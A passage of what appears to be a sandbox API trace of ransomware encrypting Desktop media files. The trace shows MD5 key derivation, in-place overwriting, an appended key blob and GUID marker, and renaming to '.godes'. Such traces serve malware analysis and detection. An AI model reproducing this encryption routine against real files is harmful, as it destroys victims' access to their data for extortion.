dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.029] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.029] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.029] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.029] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.029] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.029] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.029] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.029] CloseHandle (hObject=0x624) returned 1 [0113.030] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.030] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x870) returned 0x3321120 [0113.030] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.030] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Dnuc8.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dnuc8.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Dnuc8.swf.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dnuc8.swf.godes")) returned 1 [0113.031] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.031] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.032] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0113.032] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f76db10, ftCreationTime.dwHighDateTime=0x1d4c6aa, ftLastAccessTime.dwLowDateTime=0x85778c80, ftLastAccessTime.dwHighDateTime=0x1d4ccad, ftLastWriteTime.dwLowDateTime=0x85778c80, ftLastWriteTime.dwHighDateTime=0x1d4ccad, nFileSizeHigh=0x0, nFileSizeLow=0x174fa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="E_g7Iz0.flv", cAlternateFileName="")) returned 1 [0113.032] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.032] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0113.032] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.032] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E_g7Iz0.flv") returned=".flv" [0113.032] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E_g7Iz0.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e_g7iz0.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.032] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=95482) returned 1 [0113.032] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.034] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x174d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.034] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.038] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.038] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.038] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.038] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x174fa, lpOverlapped=0x0) returned 1 [0113.039] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.039] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.039] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.039] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.039] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.040] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.040] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.040] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.040] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.040] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.040] GetLastError () returned 0x0 [0113.040] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.040] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.040] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.040] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x17500) returned 0x3321120 [0113.040] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.040] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.040] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x174f5, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x174f5, lpOverlapped=0x0) returned 1 [0113.041] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.041] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x174fa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.041] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.041] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.041] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.041] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.041] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.041] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.041] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.041] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.041] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.041] CloseHandle (hObject=0x624) returned 1 [0113.042] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d5b8 [0113.042] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x870) returned 0x3321120 [0113.043] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d5b8 | out: hHeap=0x660000) returned 1 [0113.043] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E_g7Iz0.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e_g7iz0.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E_g7Iz0.flv.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e_g7iz0.flv.godes")) returned 1 [0113.043] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.043] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.044] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0113.044] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce1a5f40, ftCreationTime.dwHighDateTime=0x1d4cb3f, ftLastAccessTime.dwLowDateTime=0x52ac14f0, ftLastAccessTime.dwHighDateTime=0x1d4d492, ftLastWriteTime.dwLowDateTime=0x52ac14f0, ftLastWriteTime.dwHighDateTime=0x1d4d492, nFileSizeHigh=0x0, nFileSizeLow=0x1fb3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="g-yKu99NgX3E1avh.flv", cAlternateFileName="G-YKU9~1.FLV")) returned 1 [0113.044] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.044] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0113.044] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.044] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\g-yKu99NgX3E1avh.flv") returned=".flv" [0113.044] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\g-yKu99NgX3E1avh.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g-yku99ngx3e1avh.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.044] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=8115) returned 1 [0113.044] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.046] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1f8d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.046] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.047] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.047] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.047] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.048] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x1fb3, lpOverlapped=0x0) returned 1 [0113.048] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.048] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.048] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.048] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.048] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741488) returned 1 [0113.049] CryptCreateHash (in: hProv=0x741488, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.049] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.049] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.049] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.049] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.049] GetLastError () returned 0x0 [0113.049] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.049] CryptReleaseContext (hProv=0x741488, dwFlags=0x0) returned 1 [0113.049] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.049] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1fb0) returned 0x3321120 [0113.049] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.049] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.049] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x1fae, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x1fae, lpOverlapped=0x0) returned 1 [0113.050] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.050] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1fb3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.050] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.050] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.050] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.050] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.050] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.050] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.050] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.050] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.050] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.050] CloseHandle (hObject=0x624) returned 1 [0113.051] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741488 [0113.051] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0113.051] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741488 | out: hHeap=0x660000) returned 1 [0113.051] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\g-yKu99NgX3E1avh.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g-yku99ngx3e1avh.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\g-yKu99NgX3E1avh.flv.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g-yku99ngx3e1avh.flv.godes")) returned 1 [0113.052] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.052] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.053] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x7412f0 | out: hHeap=0x660000) returned 1 [0113.053] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebf072b0, ftCreationTime.dwHighDateTime=0x1d4ccf3, ftLastAccessTime.dwLowDateTime=0x1bd00, ftLastAccessTime.dwHighDateTime=0x1d4c54b, ftLastWriteTime.dwLowDateTime=0x1bd00, ftLastWriteTime.dwHighDateTime=0x1d4c54b, nFileSizeHigh=0x0, nFileSizeLow=0x11ab3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gHQF.mp4", cAlternateFileName="")) returned 1 [0113.053] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.053] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0113.053] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.053] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gHQF.mp4") returned=".mp4" [0113.053] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gHQF.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ghqf.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.053] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=72371) returned 1 [0113.053] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.055] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x11a8d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.055] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.056] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.056] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.056] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.056] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x11ab3, lpOverlapped=0x0) returned 1 [0113.057] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.057] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.057] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.057] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.057] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0113.057] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.057] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.057] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.057] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.057] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.057] GetLastError () returned 0x0 [0113.058] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.058] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0113.058] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.058] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11ab0) returned 0x3321120 [0113.058] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.058] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.058] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x11aae, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x11aae, lpOverlapped=0x0) returned 1 [0113.058] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.058] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x11ab3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.058] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.058] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.059] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.059] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.059] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.059] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.059] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.059] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.059] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.059] CloseHandle (hObject=0x624) returned 1 [0113.060] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf5a0 [0113.060] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x870) returned 0x3321120 [0113.060] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf5a0 | out: hHeap=0x660000) returned 1 [0113.060] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gHQF.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ghqf.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gHQF.mp4.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ghqf.mp4.godes")) returned 1 [0113.060] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.060] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.061] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0113.061] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e05e480, ftCreationTime.dwHighDateTime=0x1d4ce82, ftLastAccessTime.dwLowDateTime=0x670960, ftLastAccessTime.dwHighDateTime=0x1d4cbec, ftLastWriteTime.dwLowDateTime=0x670960, 